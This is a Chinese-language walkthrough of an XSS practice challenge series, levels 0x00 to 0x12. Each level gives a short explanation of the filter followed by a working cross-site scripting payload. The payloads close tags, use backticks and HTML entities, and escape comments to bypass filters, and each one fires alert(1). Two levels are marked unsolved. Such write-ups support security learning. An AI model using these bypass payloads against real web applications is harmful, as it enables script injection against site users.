0X00
payload:<script>alert(1)</script>
0x01
这一关可以发现我们输入的东西会出现在textarea标签内,所以我们尝试闭合textarea标签
payload:</textarea><script>alert(1)</script><!--
0x02
输入的内容会出现input标签的value属性内,我们可以先闭合value属性,再闭合input标签
payload:123"><script>alert(1)</script><!--
0x03
看server code可以看出括号会被替换成null,所以我们用锐音符代替括号
payload:<script>alert`1`</script>
0x04
括号与锐音符都被替换成了null,所以我们用HTML ASCII编码来代替(百度搜索HTML ASCII就能查到)括号svg标签有一个特性可以使其内的HTML实体执行,就是(
与)
payload:<svg><script>alert(1)</script><svg>
0x05
我们输入内容都会显示在注释中,所以我们尝试闭合注释
payload:--!><script>alert(1)</script>
0x06
看正则表达式,意思是on的前边如果有东西会被替换为下划线,我们回车一下就好了
payload:onclick =alert(1)
0x07
闭合的标签会被替换为空,用svg标签不闭合也会起作用
payload:<svg onload=alert(1)<!--
0x08
这一关我们输入的内容会出现在style标签内,所以我们必须闭合style标签,但正则表达式会把style标签替换为空,所以我们在style与>之间加一个空格,避免发生肢体接触
payload:</style ><script>alert(1)</script>
0x09
输入的内容出现在src属性内,所以要闭合src属性,并且正则表达式规定了格式
payload:https://www.segmentfault.com"></script><script>alert(1)<!--
0x0A
这题需要自己编写js文件,我就不会了
0x0B
输入的内容都会变成大写,所以用HTML实体转换一下就行了
payload:<img src=""" onerror=alert(1)>
0x0C
和上一题类似可以先闭合h1标签,在用HTML实体代替
payload:</h1><input type="text" onclick=alert(1)><!--
0x0D
直接输入alert(1)发现,然后回车跳出注释,再注释后边的内容
payload:alert(1) -->
0x0E
这题需要自己编写js文件,不会啊!!!???
0x0F
就俩字——闭合
payload:');alert('1
0x10
直接输入就行了
payload:alert(1)
0x11
闭合前,注释后就OK了
payload:");alert(1)//
0x12
依旧闭合前,注释后
payload:\");alert(1);//